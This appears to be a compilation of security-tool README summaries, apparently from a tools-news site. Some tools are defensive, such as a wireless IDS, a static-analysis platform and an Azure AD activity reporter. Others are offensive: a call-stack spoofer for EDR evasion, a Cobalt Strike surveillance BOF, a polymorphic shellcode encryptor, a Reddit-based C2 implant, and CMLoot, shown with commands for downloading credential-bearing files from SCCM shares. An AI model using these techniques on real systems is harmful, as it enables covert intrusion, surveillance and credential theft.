Faraday 4.3.5

Pinacolada - Wireless Intrusion Detection System For Hak5's WiFi Coconut

Pinacolada looks for typical IEEE 802.11 attacks and then informs you about them as quickly as possible. All this with the help of Hak5's WiFi Coconut, which allows it to listen for threats on all 14 channels in the 2.4GHz range simultaneously.

Supported 802.11 Attacks

Dependencies

MacOS (With PIP/Python and Homebrew package manager)

pip install flask
brew install wireshark

Linux (With PIP/Python and APT package manager)

pip install flask
apt install tshark

For both operating systems install the WiFi Coconut's userspace

Installation

# Download Pinacolada
git clone https://github.com/90N45-d3v/Pinacolada
cd Pinacolada

# Start Pinacolada
python main.py

Usage

Pinacolada will be accessible from your browser at 127.0.0.1:8888.
The default password is CoconutsAreYummy.
After you have logged in, you can see a dashboard on the start page and you should change the password in the settings tab.

E-Mail Notifications

If configured, Pinacolada will alert you to attacks via E-Mail. In order to send you an E-Mail, however, an E-Mail account for Pinacolada must be specified in the settings tab. To find the necessary information such as SMTP server and SMTP port, search the internet for your mail provider and how their SMTP servers are configured + how to use them. Here are some information about known providers:

Not fully tested!

Since I don't own a WiFi Coconut myself, I have to simulate their traffic. So if you encounter any problems, don't hesitate to contact me and open an issue.

Zeek 5.0.8

Faraday 4.3.4

QuadraInspect - Android Framework That Integrates AndroPass, APKUtil, And MobFS, Providing A Powerful Tool For Analyzing The Security Of Android Applications

The security of mobile devices has become a critical concern due to the increasing amount of sensitive data being stored on them. With the rise of Android OS as the most popular mobile platform, the need for effective tools to assess its security has also increased. In response to this need, a new Android framework has emerged that combines three powerful tools - AndroPass, APKUtil, RMS, and MobFS - to conduct comprehensive vulnerability analysis of Android applications. This framework is known as QuadraInspect.

QuadraInspect is an Android framework that integrates AndroPass, APKUtil, RMS and MobFS, providing a powerful tool for analyzing the security of Android applications. AndroPass is a tool that focuses on analyzing the security of Android applications' authentication and authorization mechanisms, while APKUtil is a tool that extracts valuable information from an APK file. Lastly, MobFS and RMS facilitates the analysis of an application's filesystem by mounting its storage in a virtual environment.

By combining these three tools, QuadraInspect provides a comprehensive approach to vulnerability analysis of Android applications. This framework can be used by developers, security researchers, and penetration testers to assess the security of their own or third-party applications. QuadraInspect provides a unified interface for all three tools, making it easier to use and reducing the time required to conduct comprehensive vulnerability analysis. Ultimately, this framework aims to increase the security of Android applications and protect users' sensitive data from potential threats.

Requirements

• Windows, Linux or Mac
• NodeJs installed
• Python 3 installed
• OpenSSL-3 installed
• Wkhtmltopdf installed

Installation

To install the tools you need to: First : git clone https://github.com/morpheuslord/QuadraInspect

Second Open a Administrative cmd or powershell (for Mobfs setup) and run : pip install -r requirements.txt && python3 main.py

Third : Once QuadraInspect loads run this command QuadraInspect Main>> : START install_tools

The tools will be downloaded to the tools directory and also the setup.py and setup.bat commands will run automatically for the complete installation.

Usage

Each module has a help function so that the commands and the discriptions are detailed and can be altered for operation.

These are the key points that must be addressed for smooth working:

• The APK file or target must be declared before starting any attack
• The Attacks are seperate entities combined via this framework doing research on how to use them is recommended.
• The APK file can be ether declared ether using args or using SET target withing the tool.
• The target APK file must be placed in the target folder as all the tool searches for the target file with that folder.

Modes

There are 2 modes:

|
└─> F mode
└─> A mode

F mode

The f mode is a mode where you get the active interface for using the interactive vaerion of the framework with the prompt, etc.

F mode is the normal mode and can be used easily

A mode

A mode or argumentative mode takes the input via arguments and runs the commands without any intervention by the user this is limited to the main menu in the future i am planning to extend this feature to even the encorporated codes.

python main.py --target <APK_file> --mode a --command install_tools/tools_name/apkleaks/mobfs/rms/apkleaks

Main Module

the main menu of the entire tool has these options and commands:

As mentioned above the target must be set before any tool is used.

Apkleaks menu

The APKLeaks menu is also really straight forward and only a few things to consider:

• The options SET output and SET json-out takes file names not the actual files it creates an output in the result directory.
• The SET pattern option takes a name of a json pattern file. The JSON file must be located in the pattern directory

Mobfs

Mobfs is pritty straight forward only the port number must be taken care of which is by default on port 5000 you just need to start the program and connect to it on 127.0.0.1:5000 over your browser.

AndroPass

AndroPass is also really straight forward it just takes the file as input and does its job without any other inputs.

Architecture:

The APK analysis framework will follow a modular architecture, similar to Metasploit. It will consist of the following modules:

• Core module: The core module will provide the basic functionality of the framework, such as command-line interface, input/output handling, and logging.
• Static analysis module: The static analysis module will be responsible for analyzing the structure and content of APK files, such as the manifest file, resources, and code.
• Dynamic analysis module: The dynamic analysis module will be responsible for analyzing the behavior of APK files, such as network traffic, API calls, and file system interactions.
• Reverse engineering module: The reverse engineering module will be responsible for decompiling and analyzing the source code of APK files.
• Vulnerability testing module: The vulnerability testing module will be responsible for testing the security of APK files, such as identifying vulnerabilities and exploits.

Adding more

Currentluy there only 3 but if wanted people can add more tools to this these are the things to be considered:

• Installer function
• Seperate tool function
• Main function

Installer Function

• Must edit in the config/installer.py
• The things to consider in the installer is the link for the repository.
• keep the cloner and the directory in a try-except condition to avoide errors.
• choose an appropriate command for further installation

Seperate tool function

• Must edit in the config/mobfs.py , config/androp.py, config/apkleaks.py
• Write a new function for the specific tool
• File handeling is up to you I recommend passing the file name as an argument and then using the name to locate the file using the subprocess function
• the tools must also recommended to be in a try-except condition to avoide unwanted errors.

Main Function

• A new case must be added to the switch function to act as a main function holder
• the help menu listing and commands are up to your requirements and comfort

If wanted you could do your upgrades and add it to this repository for more people to use kind of growing this tool.

Certwatcher - Tool For Capture And Tracking Certificate Transparency Logs, Using YAML Templates Based DSL

CertWatcher is a tool for capturing and tracking certificate transparency logs, using YAML templates. The tool helps detect and analyze websites using regular expression patterns and is designed for ease of use by security professionals and researchers.

Certwatcher continuously monitors the certificate data stream and checks for patterns or malicious activity. Certwatcher can also be customized to detect specific phishing, exposed tokens, secret api key patterns using regular expressions defined by YAML templates.

Get Started

Certwatcher allows you to use custom templates to display the certificate information. We have some public custom templates available from the community. You can find them in our repository.

Useful Links

• Documentation
• Install Certwatcher
• Templating Guide
• FAQ

Contribution

If you want to contribute to this project, follow the steps below:

• Fork this repository.
• Create a new branch with your feature: git checkout -b my-new-feature
• Make changes and commit the changes: git commit -m 'Adding a new feature'
• Push to the original branch: git push origin my-new-feature
• Open a pull request.

Authors

• @drfabiocastro
• @noexceptcpp

tcpdump 4.99.4

AIDE 0.18.2

Reportly - An AzureAD User Activity Report Tool

Reportly is an AzureAD user activity report tool.

About the tool

This is a tool that will help blue teams during a cloud incident. When running the tool, the researcher will enter as input a suspicious user and a time frame and will receive a report detailing the following:

1. Information about the user
2. Actions taken by the user
3. Actions taken on the user
4. User login and failure logs

Usage

When running the tool, a link to authentication and a device code will show, follow the link and enter the code to authenticate.

Insert User principal name of a suspicious user.
Insert start and end times in the following format: 2022-11-16
I recommend a range of no longer then a week.

After authentication, in order to create a full report choose the option "5"

When the report will be ready the tool will print "Your report is ready!". The reports are created in the executable's directory.

Installation

In order to use the tool you will need an AzureAD application with the following delegated microsoft graph api permissions:

• AuditLog.Read.All
  
• GroupMember.Read.All
  
• RoleManagement.Read.Directory
  
• User.Read
  
• User.Read.All
  
  dont forget to grant admin consent

Also, when creating the application, make sure you mark the following option as "yes":

• you can find this property under the application's "Authentication" tab.

Add a secret to the application.

• Go to "Certificates & secrets"
• Add a secret
• Immediately copy the secret to the config file (after you watch it once, it disappears)

After you created the application you need to fill the config.cfg file:
clientId = application id
clientSecret = application secret
tenantId = tenant id

SilentMoonwalk - PoC Implementation Of A Fully Dynamic Call Stack Spoofer

PoC Implementation of a fully dynamic call stack spoofer

TL;DR

SilentMoonwalk is a PoC implementation of a fully dynamic call stack spoofer, implementing a technique to remove the original caller from the call stack, using ROP to desynchronize unwinding from control flow.

Authors

This PoC is the result of a joint research done on the topic of stack spoofing. The authors of the research are:

• KlezVirus
• Waldo-IRC
• Trickster0

I want to stress that this work would have been impossible without the work of Waldo-IRC and Trickster0, which both contributed to the early stages of the PoC, and to the research behind the PoC.

Overview

This repository demonstrates a PoC implementation to spoof the call stack when calling arbitrary Windows APIs.

This attempt was inspired by this Twitter thread, and this Twitter thread, where sensei namazso showed and suggested to extend the stack unwinding approach with a ROP chain to both desynchronize the unwinding from real control flow and restore the original stack afterwards.

This PoC attempts to do something similar to the above, and uses a desync stack to completely hide the original call stack, also removing the EXE image base from it. Upon return, a ROP gadget is invoked to restore the original stack. In the code, this process is repeated 10 times in a loop, using different frames at each iteration, to prove stability.

Supported Modes

The tool currently supports 2 modes, where one is actually a wrong patch to a non-working pop RBP frame identified, which operates by shifting the current RSP and adding two fake frames to the call stack. As it operates using synthetic frames, I refer to this mode as "SYNTHETIC".

When selecting the frame that unwinds by popping the RBP register from the stack, the tool might select an unsuitable frame, ending up in an abruptly cut call stack, as observable below.

Synthetic Call Stack Mode

A silly solution to the problem would be to create two fake frames and link them back to the cut call stack. This would create a sort of apparently legit call stack, even without a suitable frame which unwinds calling POP RBP, but:

• You would lose the advantage of the desync technique
• The stack would be still unwindable
• The resulting call stack could seem legit just on the first glance, but it would probably not pass a strict check

The result of the _synthetic spoof can be observed in the image below:

Figure 1: Windows 10 - Apparently Legit, non unwoundable call stack whereby the EXE module was completely removed (calling no parameters function getchar)

Note: This operation mode is disabled by default. To enable this mode, change the CALLSTACK_TYPE to 1

Desync Stack Mode

This mode is the right solution to the above problem, whereby the non-suitable frame is simply replaced by another, suitable one.

Figure 2: Windows 10 - Legit, unwoundable call stack whereby the EXE module was completely removed (calling 4 parameters function MessageBoxA)

Utility

In the repository, you can find also a little util to inspect runtime functions, which might be useful to analyse runtime function entries.

UnwindInspector.exe -h

 Unwind Inspector v0.100000

 Mandatory args:
   -m <module>: Target DLL
   -f <function>: Target Function
   -a <function-address>: Target Function Address

Sample Output:

UnwindInspector.exe -m kernelbase -a 0x7FFAAE12182C
[*] Using function address 0x7ffaae12182c

  Runtime Function (0x000000000000182C, 0x00000000000019ED)
  Unwind Info Address: 0x000000000026AA88
    Version: 0
    Ver + Flags: 00000000
    SizeOfProlog: 0x1f
    CountOfCodes: 0xc
    FrameRegister: 0x0
    FrameOffset: 0x0
    UnwindCodes:
    [00h] Frame: 0x741f - 0x04  - UWOP_SAVE_NONVOL     (RDI, 0x001f)
    [01h] Frame: 0x0015 - 0x00  - UWOP_PUSH_NONVOL     (RAX, 0x0015)
    [02h] Frame: 0x641f - 0x04  - UWOP_SAVE_NONVOL     (RSI, 0x001f)
    [03h] Frame: 0x0014 - 0x00  - UWOP_PUSH_NONVOL     (RAX, 0x0014)
    [04h] Frame: 0x341f - 0x04  - UWOP_SAVE_NONVOL     (RBX, 0x001f)
    [05h] Frame: 0x0012 - 0x00  - UWOP_PUSH_NONVOL     (RAX, 0x0012)
    [06h] Frame: 0xb21f - 0x02  - UWOP_ALLOC_SMALL     (R11, 0x001f)
    [07h] Frame: 0xf018 - 0x00  - UWOP_PUSH_NONVOL     (R15, 0x0018)
    [0   8h] Frame: 0xe016 - 0x00  - UWOP_PUSH_NONVOL     (R14, 0x0016)
    [09h] Frame: 0xd014 - 0x00  - UWOP_PUSH_NONVOL     (R13, 0x0014)
    [0ah] Frame: 0xc012 - 0x00  - UWOP_PUSH_NONVOL     (R12, 0x0012)
    [0bh] Frame: 0x5010 - 0x00  - UWOP_PUSH_NONVOL     (RBP, 0x0010)

Build

In order to build the POC and observe a similar behaviour to the one in the picture, ensure to:

• Disable GS (/GS-)
• Disable Code Optimisation (/Od)
• Disable Whole Program Optimisation (Remove /GL)
• Disable size and speed preference (Remove /Os, /Ot)
• Enable intrinsic if not enabled (/Oi)

Previous Work

It's worth mentioning previous work done on this topic, which built the foundation of this work.

• Return Address Spoofing: Original technique and idea, by Namaszo. Every other PoC I'm aware of was built on top of that.
• YouMayPasser: This amazing work by Arash is the first properly done extension of the Return Address Spoofing PoC by Namaszo.
• VulcanRaven: A call stack spoofer that operates the spoofing by synthetically creating a Thread Stack mirroring another real call stack.
• Unwinder: A very nice Rust PoC implementation of a call stack spoofer which operates by parsing unwind code information to replace frames in the call stack.

Credits

• Huge shoutout to waldo-irc and trickster0, which collaborated with me on this research. I owe everything to them.
• All the credit for the idea behind this goes to namaszo, which I personally consider a genius. He also cross checked this PoC before release, so huge thanks to him.

Notes

• [SYNTHETIC STACK ONLY]: For a limitation in the way I'm locating the gadgets, the maximum number of arguments is 8 for now (it is TRIVIAL to modify and add more params, but I couldn't bother).
• [DSESYNC STACK ONLY]: For a limitation in how I'm setting up the spoofer, the maximum number of supported arguments is 4 for now.
• Testing on this one was pretty limited. There might be exceptions I'm not aware of at the moment.
• Unwinding involving 128-bit registers was no tested.
• Calling functions that use 128-bit registers is not officially supported.

WindowSpy - A Cobalt Strike Beacon Object File Meant For Targetted User Surveillance

WindowSpy is a Cobalt Strike Beacon Object File meant for targetted user surveillance. The goal of this project was to trigger surveillance capabilities only on certain targets, e.g. browser login pages, confidential documents, vpn logins etc. The purpose was to increase stealth during user surveillance by preventing detection of repeated use of surveillance capabilities e.g. screenshots. It also saves the red team time in sifting through many pages of user surveillance data, which would be produced if keylogging/screenwatch was running at all times.

How it works

Each time a beacon checks in, the BOF runs on the target. The BOF comes with a hardcoded list of strings that are common in useful window titles e.g. login, administrator, control panel, vpn etc. You can customize this list and recompile yourself. It enumerates the visible windows and compares the titles to the list of strings, and if any of these are detected, it triggers a local aggressorscript function defined in WindowSpy.cna named spy(). By default, it takes a screenshot. You may customize this function however you want, e.g. keylogging, WireTap, webcam, etc.

The spy() function has 1 argument, $1 being the beacon id of the beacon that triggered it.

Installation

1. load the WindowSpy.cna script into Cobalt Strike

Building from source

1. open the WindowSpy.sln solution file in Visual Studio
2. Build for target BOF (x64/x86)

Usage

1. Leave it to run. It should automatically run on each beacon checkin and trigger accordingly.

I built this because I was bored, and was messing with user surveillance. If there are bugs, open an issue. If there are any issues with the design, feel free to open an issue too.

Seekr - A Multi-Purpose OSINT Toolkit With A Neat Web-Interface

A multi-purpose toolkit for gathering and managing OSINT-Data with a neat web-interface.

Introduction

Seekr is a multi-purpose toolkit for gathering and managing OSINT-data with a sleek web interface. The backend is written in Go and offers a wide range of features for data collection, organization, and analysis. Whether you're a researcher, investigator, or just someone looking to gather information, seekr makes it easy to find and manage the data you need. Give it a try and see how it can streamline your OSINT workflow!

Check the wiki for setup guide, etc.

Why use seekr over my current tool ?

Seekr combines note taking and OSINT in one application. Seekr can be used alongside your current tools. Seekr is desingned with OSINT in mind and optimized for real world usecases.

Key features

• Database for OSINT targets
• GitHub to email
• Account cards for each person in the database
• Account discovery intigrating with the account cards
• Pre defined commonly used fields in the database

Getting Started - Installation

Windows

Download the latest exe here

Linux (stable)

Download the latest stable binary here

Linux (unstable)

To install seekr on linux simply run:

git clone https://github.com/seekr-osint/seekr
cd seekr
go run main.go

Now open the web interface in your browser of choice.

Run on NixOS

Seekr is build with NixOS in mind and therefore supports nix flakes. To run seekr on NixOS run following commands.

nix shell github:seekr-osint/seekr
seekr

Intigrating seekr into your current workflow

journey
	title How to Intigrate seekr into your current workflow.
	section Initial Research
		Create a person in seekr: 100: seekr
    Simple web research: 100: Known tools
		Account scan: 100: seekr
	section Deeper account investigation
		Investigate the accounts: 100: seekr, Known tools
		Keep notes: 100: seekr
  section Deeper Web research
    Deep web research: 100: Known tools
    Keep notes: 100: seekr
	section Finishing the report
		Export the person with seekr: 100: seekr
		Done.: 100

Feedback

We would love to hear from you. Tell us about your opinions on seekr. Where do we need to improve?... You can do this by just opeing up an issue or maybe even telling others in your blog or somewhere else about your experience.

Legal Disclaimer

This tool is intended for legitimate and lawful use only. It is provided for educational and research purposes, and should not be used for any illegal or malicious activities, including doxxing. Doxxing is the practice of researching and broadcasting private or identifying information about an individual, without their consent and can be illegal. The creators and contributors of this tool will not be held responsible for any misuse or damage caused by this tool. By using this tool, you agree to use it only for lawful purposes and to comply with all applicable laws and regulations. It is the responsibility of the user to ensure compliance with all relevant laws and regulations in the jurisdiction in which they operate. Misuse of this tool may result in criminal and/or civil prosecut ion.

Grepmarx - A Source Code Static Analysis Platform For AppSec Enthusiasts

Grepmarx is a web application providing a single platform to quickly understand, analyze and identify vulnerabilities in possibly large and unknown code bases.

Features

SAST (Static Analysis Security Testing) capabilities:

• Multiple languages support: C/C++, C#, Go, HTML, Java, Kotlin, JavaScript, TypeScript, OCaml, PHP, Python, Ruby, Bash, Rust, Scala, Solidity, Terraform, Swift
• Multiple frameworks support: Spring, Laravel, Symfony, Django, Flask, Node.js, jQuery, Express, Angular...
• 1600+ existing analysis rules
• Easily extend analysis rules using Semgrep syntax: https://semgrep.dev/editor
• Manage rules in rule packs to tailor code scanning

SCA (Software Composition Analysis) capabilities:

• Multiple package-dependency formats support: NPM, Maven, Gradle, Composer, pip, Gopkg, Gem, Cargo, NuPkg, CSProj, PubSpec, Cabal, Mix, Conan, Clojure, Docker, GitHub Actions, Jenkins HPI, Kubernetes
• SBOM (Software Bill-of-Materials) generation (CycloneDX compliant)

Extra

• Analysis workbench designed to efficiently browse scan results
• Scan code that doesn't compile
• Comprehensive LOC (Lines of Code) counter
• Inspector: automatic application features discovery
• ... and a Dark Mode

Screenshots

Scan customization	Analysis workbench	Rule pack edition

Execution

Grepmarx is provided with a configuration to be executed in Docker and Gunicorn.

Docker execution

Make sure you have docker-composer installed on the system, and the docker daemon is running. The application can then be easily executed in a docker container. The steps:

Get the code

$ git clone https://github.com/Orange-Cyberdefense/grepmarx.git
$ cd grepmarx

Start the app in Docker

$ sudo docker-compose pull && sudo docker-compose build && sudo docker-compose up -d

Visit http://localhost:5000 in your browser. The app should be up & running.

Note: a default user account is created on first launch (user=admin / password=admin). Change the default password immediately.

Gunicorn

Gunicorn 'Green Unicorn' is a Python WSGI HTTP Server for UNIX. A supervisor configuration file is provided to start it along with the required Celery worker (used for security scans queuing).

Install using pip

$ pip install gunicorn supervisor

Start the app using gunicorn binary

$ supervisord -c supervisord.conf

Visit http://localhost:8001 in your browser. The app should be up & running.

Note: a default user account is created on first launch (user=admin / password=admin). Change the default password immediately.

Build from sources

Get the code

$ git clone https://github.com/Orange-Cyberdefense/grepmarx.git
$ cd grepmarx

Install virtualenv modules

$ virtualenv env
$ source env/bin/activate

Install Python modules

$ # SQLite Database (Development)
$ pip3 install -r requirements.txt
$ # OR with PostgreSQL connector (Production)
$ # pip install -r requirements-pgsql.txt

Install additionnal requirements

# Dependency scan (cdxgen / depscan) requirements
$ sudo apt install npm openjdk-17-jdk maven gradle golang composer
$ sudo npm install -g @cyclonedx/cdxgen
$ pip install appthreat-depscan

A Redis server is required to queue security scans. Install the redis package with your favorite distro package manager, then:

$ redis-server

Set the FLASK_APP environment variable

$ export FLASK_APP=run.py
$ # Set up the DEBUG environment
$ # export FLASK_ENV=development

Start the celery worker process

$ celery -A app.celery_worker.celery worker --pool=prefork --loglevel=info --detach

Start the application (development mode)

$ # --host=0.0.0.0 - expose the app on all network interfaces (default 127.0.0.1)
$ # --port=5000    - specify the app port (default 5000)  
$ flask run --host=0.0.0.0 --port=5000

Access grepmarx in browser: http://127.0.0.1:5000/

Note: a default user account is created on first launch (user=admin / password=admin). Change the default password immediately.

Credits & Links

• The web application dashboard is based on AdminLTE Flask
• SAST code scanning is powered by the semgrep engine
• SBOM generation is done with the great CycloneDX cdxgen, and SCA is performed using the awesome AppThreat dep-scan
• LOC counting is handled by scc
• Features discovery is done using Application Inspector

Grepmarx - Provided by Orange Cyberdefense.

Shoggoth - Asmjit Based Polymorphic Encryptor

Shoggoth is an open-source project based on C++ and asmjit library used to encrypt given shellcode, PE, and COFF files polymorphically.

Shoggoth will generate an output file that stores the payload and its corresponding loader in an obfuscated form. Since the content of the output is position-independent, it can be executed directly as a shellcode. While the payload is executing, it decrypts itself at runtime. In addition to the encryption routine, Shoggoth also adds garbage instructions, that change nothing, between routines.

I started to develop this project to study different dynamic instruction generation approaches, assembly practices, and signature detections. I am planning to regularly update the repository with my new learnings.

Features

Current features are listed below:

• Works on only x64 inputs
• Ability to merge PIC COFF Loader with COFF or BOF input files
• Ability to merge PIC PE Loader with PE input files
• Stream Cipher with RC4 Algorithm
• Block Cipher with randomly generated operations
• Garbage instruction generation

Execution Flow

The general execution flow of Shoggoth for an input file can be seen in the image below. You can observe this flow with the default configurations.

Basically, Shoggoth first merges the precompiled loader shellcode according to the chosen mode (COFF or PE file) and the input file. It then adds multiple garbage instructions it generates to this merged payload. The stub containing the loader, garbage instruction, and payload is encrypted first with RC4 encryption and then with randomly generated block encryption by combining corresponding decryptors. Finally, it adds a garbage instruction to the resulting block.

Machine Code Generation

While Shoggoth randomly generates instructions for garbage stubs or encryption routines, it uses AsmJit library.

AsmJit is a lightweight library for machine code generation written in C++ language. It can generate machine code for X86, X86_64, and AArch64 architectures and supports baseline instructions and all recent extensions. AsmJit allows specifying operation codes, registers, immediate operands, call labels, and embedding arbitrary values to any offset inside the code. While generating some assembly instructions by using AsmJit, it is enough to call the API function that corresponds to the required assembly operation with assembly operand values from the Assembler class. For each API call, AsmJit holds code and relocation information in its internal CodeHolder structure. After calling API functions of all assembly commands to be generated, its JitRuntime class can be used to copy the code from CodeHolder into memory with executable permission and relocate it.

While I was searching for a code generation library, I encountered with AsmJit, and I saw that it is widely used by many popular projects. That's why I decided to use it for my needs. I don't know whether Shoggoth is the first project that uses it in the red team context, but I believe that it can be a reference for future implementations.

COFF and PE Loaders

Shoggoth can be used to encrypt given PE and COFF files so that both of them can be executed as a shellcode thanks to precompiled position-independent loaders. I simply used the C to Shellcode method to obtain the PIC version of well-known PE and COFF loaders I modified for my old projects. For compilation, I used the Makefile from HandleKatz project which is an LSASS dumper in PIC form.

Basically, in order to obtain shellcode with the C to Shellcode technique, I removed all the global variables in the loader source code, made all the strings stored in the stack, and resolved the Windows API functions' addresses by loading and parsing the necessary DLLs at runtime. Afterward, I determined the entry point with a linker script and compiled the code by using MinGW with various compilation flags. I extracted the .text section of the generated executable file and obtained the loader shellcode. Since the executable file obtained after editing the code as above does not contain any sections other than the .text section, the code in this section can be used as position-independent.

The source code of these can be seen and edited from COFFLoader and PELoader directories. Also compiled versions of these source codes can be found in stub directory. For now, If you want to edit or change these loaders, you should obey the signatures and replace the precompiled binaries from the stub directory.

RC4 Cipher

Shoggoth first uses one of the stream ciphers, the RC4 algorithm, to encrypt the payload it gets. After randomly generating the key used here, it encrypts the payload with that key. The decryptor stub, which decrypts the payload during runtime, is dynamically created and assembled by using AsmJit. The registers used in the stub are randomly selected for each sample.

I referenced Nayuki's code for the implementation of the RC4 algorithm I used in Shoggoth.

Random Block Cipher

After the first encryption is performed, Shoggoth uses the second encryption which is a randomly generated block cipher. With the second encryption, it encrypts both the RC4 decryptor and optionally the stub that contains the payload, garbage instructions, and loader encrypted with RC4. It divides the chunk to be encrypted into 8-byte blocks and uses randomly generated instructions for each block. These instructions include ADD, SUB, XOR, NOT, NEG, INC, DEC, ROL, and ROR. Operands for these instructions are also selected randomly.

Garbage Instruction Generation

Generated garbage instruction logic is heavily inspired by Ege Balci's amazing SGN project. Shoggoth can select garbage instructions based on jumping over random bytes, instructions with no side effects, fake function calls, and instructions that have side effects but retain initial values. All these instructions are selected randomly, and generated by calling the corresponding API functions of the AsmJit library. Also, in order to increase both size and different combinations, these generation functions are called recursively.

There are lots of places where garbage instructions can be put in the first version of Shoggoth. For example, we can put garbage instructions between block cipher instructions or RC4 cipher instructions. However, for demonstration purposes, I left them for the following versions to avoid the extra complexity of generated payloads.

Usage

Requirements

I didn't compile the main project. That's why you have to compile yourself. Optionally, if you want to edit the source code of the PE loader or COFF loader, you should have MinGW on your machine to compile them by using the given Makefiles.

• Visual Studio 2019+
• (Optional) MinGW Compiler

Command Line Parameters

  ______ _                                  _
 / _____) |                             _  | |
( (____ | |__   ___   ____  ____  ___ _| |_| |__
 \____ \|  _ \ / _ \ / _  |/ _  |/ _ (_   _)  _ \
 _____) ) | | | |_| ( (_| ( (_| | |_| || |_| | | |
(______/|_| |_|\___/ \___ |\___ |\___/  \__)_| |_|
                    (_____(_____|

                     by @R0h1rr1m

                "Tekeli-li! Tekeli-li!"

Usage of Shoggoth.exe:

    -h | --help                             Show the help message.
    -v | --verbose                          Enable more verbose output.
    -i | --input <Input Path>               Input path of payload to be encrypted. (Mandatory)
    -o | --output <Output Path>             Output path for encrypted input. (Mandatory)
    -s | --seed <Value>                     Set seed value for randomization.
    -m | --mode <Mode Value>                Set    payload encryption mode. Available mods are: (Mandatory)
                                                [*] raw - Shoggoth doesn't append a loader stub. (Default mode)
                                                [*] pe - Shoggoth appends a PE loader stub. The input should be valid x64 PE.
                                                [*] coff - Shoggoth appends a COFF loader stub. The input should be valid x64 COFF.
    --coff-arg <Argument>                   Set argument for COFF loader. Only used in COFF loader mode.
    -k | --key <Encryption Key>             Set first encryption key instead of random key.
    --dont-do-first-encryption              Don't do the first (stream cipher) encryption.
    --dont-do-second-encryption             Don't do the second (block cipher) encryption.
    --encrypt-only-decryptor                Encrypt only decryptor stub in the second encryption.

What does Shoggoth mean?

"It was a terrible, indescribable thing vaster than any subway train—a shapeless congeries of protoplasmic bubbles, faintly self-luminous, and with myriads of temporary eyes forming and un-forming as pustules of greenish light all over the tunnel-filling front that bore down upon us, crushing the frantic penguins and slithering over the glistening floor that it and its kind had swept so evilly free of all litter." ~ H. P. Lovecraft, At the Mountains of Madness

A Shoggoth is a fictional monster in the Cthulhu Mythos. The beings were mentioned in passing in H. P. Lovecraft's sonnet cycle Fungi from Yuggoth (1929–30) and later described in detail in his novella At the Mountains of Madness (1931). They are capable of forming whatever organs or appendages they require for the task at hand, although their usual state is a writhing mass of eyes, mouths, and wriggling tentacles.

Since these creatures are like a sentient blob of self-shaping, gelatinous flesh and have no fixed shape in Lovecraft's descriptions, I want to give that name to a Polymorphic Encryptor tool.

References

• https://github.com/EgeBalci/sgn
• https://github.com/asmjit/asmjit
• https://www.pelock.com/articles/polymorphic-encryption-algorithms
• https://github.com/codewhitesec/HandleKatz
• https://github.com/vxunderground/MalwareSourceCode
• https://www.nayuki.io/page/rc4-cipher-in-x86-assembly
• https://www.deviantart.com/halycon450/art/Shoggoth-914584713
• https://www.artstation.com/burakkrtak (Logo Designer)

GNUnet P2P Framework 0.19.4

RedditC2 - Abusing Reddit API To Host The C2 Traffic, Since Most Of The Blue-Team Members Use Reddit, It Might Be A Great Way To Make The Traffic Look Legit



[Disclaimer]: Use of this project is for Educational/ Testing purposes only. Using it on unauthorised machines is strictly forbidden. If somebody is found to use it for illegal/ malicious intent, author of the repo will not be held responsible.

Requirements

Install PRAW library in python3:

pip3 install praw

Quickstart

See the Quickstart guide on how to get going right away!

Demo

Workflow

Teamserver

1. Go to the specific Reddit Post & post a new comment with the command ("in: ")
2. Read for new comment which includes the word "out:"
3. If no such comment is found, go back to step 2
4. Parse the comment, decrypt it and read it's output
5. Edit the existing comment to "executed", to avoid reexecuting it

Client

1. Go to the specific Reddit Post & read the latest comment which includes "in:"
2. If no new comment is detected, go back to step 1
3. Parse the command out of the comment, decrypt it and execute it locally
4. Encrypt the command's output and reply it to the respective comment ("out:" )

Below is a demonstration of the XOR-encrypted C2 traffic for understanding purposes:

Scanning results

Since it is a custom C2 Implant, it doesn't get detected by any AV as the bevahiour is completely legit.

TO-DO

• Teamserver and agent compatible in Windows/Linux
• Make the traffic encrypted
• Add upload/download feature
• Add persistence feature
• Generate the agents dynamically (from the TeamServer)
• Tab autocompletion

Credits

Special thanks to @T4TCH3R for working with me and contributing to this project.

CMLoot - Find Interesting Files Stored On (System Center) Configuration Manager (SCCM/CM) SMB Shares

CMLoot was created to easily find interesting files stored on System Center Configuration Manager (SCCM/CM) SMB shares. The shares are used for distributing software to Windows clients in Windows enterprise environments and can contains scripts/configuration files with passwords, certificates (pfx), etc. Most SCCM deployments are configured to allow all users to read the files on the shares, sometimes it is limited to computer accounts.

The Content Library of SCCM/CM have a "complex" (annoying) file structure which CMLoot will untangle for you: https://techcommunity.microsoft.com/t5/configuration-manager-archive/understanding-the-configuration-manager-content-library/ba-p/273349

Essentially the DataLib folder contains .INI files, the .INI file are named the original filename + .INI. The .INI file contains a hash of the file, and the file itself is stored in the FileLib in format of <folder name: 4 first chars of the hash>\fullhash.

CM Access Accounts

It is possible to apply Access control to packages in CM. This however only protects the folder for the file descriptor (DataLib), not the actual file itself. CMLoot will during inventory record any package that it can't access (Access denied) to the file _noaccess.txt. Invoke-CMLootHunt can then use this file to enumerate the actual files that the access control is trying to protect.

OPSEC

Windows Defender for Endpoint (EDR) or other security mechanisms might trigger because the script parses a lot of files over SMB.

HOWTO

Find CM servers by searching for them in Active Directory or by fetching this reqistry key on a workstation with System Center installed:

(Get-ItemProperty -Path HKLM:\SOFTWARE\Microsoft\SMS\DP -Name ManagementPoints).ManagementPoints

There may be multiple CM servers deployed and they can contain different files so be sure to find all of them.

Then you need to create an inventory file which is just a text file containing references to file descriptors (.INI). The following command will parse all .INI files on the SCCM server to create a list of files available.

PS> Invoke-CMLootInventory -SCCMHost sccm01.domain.local -Outfile sccmfiles.txt

Then use the inventory file created above to download files of interest:

Select files using GridView (Milage may vary with large inventory files):

PS> Invoke-CMLootDownload -InventoryFile .\sccmfiles.txt -GridSelect

Download a single file, by coping a line in the inventory text:

PS> Invoke-CMLootDownload -SingleFile \\sccm\SCCMContentLib$\DataLib\SC100001.1\x86\MigApp.xml

Download all files with a certain file extension:

PS> Invoke-CMLootDownload -InventoryFile .\sccmfiles.txt -Extension ps1

Files will by default download to CMLootOut in the folder from which you execute the script, can be changed with -OutFolder parameter. Files are saved in the format of (folder: filext)\(first 4 chars of hash>_original filename).

Hunt for files that CMLootInventory found inaccessible:

Invoke-CMLootHunt -SCCMHost sccm -NoAccessFile sccmfiles_noaccess.txt

Bulk extract MSI files:

Invoke-CMLootExtract -Path .\CMLootOut\msi

DEMO

Run inventory, scanning available files:

Select files using GridSelect:

Download all extensions:

Hunt "inaccessible" files and MSI extract:

Author

Tomas Rzepka / WithSecure

